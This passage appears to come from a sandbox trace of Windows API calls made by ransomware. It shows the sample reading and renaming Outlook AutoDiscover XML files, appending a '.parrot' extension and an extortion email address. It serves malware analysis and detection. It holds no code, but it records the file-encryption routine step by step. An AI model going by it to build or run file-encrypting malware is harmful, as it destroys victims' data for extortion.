files\\microsoft office\\office14\\outlookautodiscover\\pacbell.net.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.571] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.571] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.574] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.574] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0198.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.574] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.574] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.575] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\PRODIGY.NET.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\prodigy.net.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.580] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.580] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.581] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.581] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x332, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x332, lpOverlapped=0x0) returned 1 [0198.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.582] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.582] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\ROGERS.COM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\rogers.com.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.634] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.634] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.635] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.636] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x330, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x330, lpOverlapped=0x0) returned 1 [0198.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.636] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.636] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.636] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SBCGLOBAL.NET.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\sbcglobal.net.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.642] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.642] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.644] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x326, lpOverlapped=0x0) returned 1 [0198.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.644] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.644] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.645] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SNET.NET.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\snet.net.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.650] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.650] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.652] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.652] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32a, lpOverlapped=0x0) returned 1 [0198.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.652] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.653] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\SWBELL.NET.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\swbell.net.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.657] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.657] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.659] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.659] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x327, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x327, lpOverlapped=0x0) returned 1 [0198.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.659] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.659] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.660] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.664] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.664] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.665] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.666] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x326, lpOverlapped=0x0) returned 1 [0198.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.666] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.666] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\WANS.NET.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\wans.net.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.671] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.671] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.673] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.673] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x324, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x324, lpOverlapped=0x0) returned 1 [0198.673] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.673] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.673] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.673] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.674] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CA.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.ca.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.682] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.682] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.683] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.683] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32a, lpOverlapped=0x0) returned 1 [0198.683] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.684] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.684] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.684] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.ID.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.id.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.689] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.690] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.691] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.692] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32a, lpOverlapped=0x0) returned 1 [0198.692] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.692] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.692] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.692] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.692] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.IN.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.in.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.697] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.698] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.699] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.699] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32b, lpOverlapped=0x0) returned 1 [0198.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.700] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.JP.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.jp.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.705] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.705] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.707] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.707] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x326, lpOverlapped=0x0) returned 1 [0198.707] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.707] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.707] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.707] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.KR.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.kr.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.712] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.713] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.715] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.715] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0198.715] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.715] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.715] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.715] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.NZ.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.nz.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.721] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.721] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.722] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.722] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32a, lpOverlapped=0x0) returned 1 [0198.722] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.723] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0198.723] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0198.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.CO.TH.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.co.th.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0198.728] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0198.728] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0198.729] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.730] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32a, lpOverlapped=0x0) returned 1 [0198.730] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0198.730] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 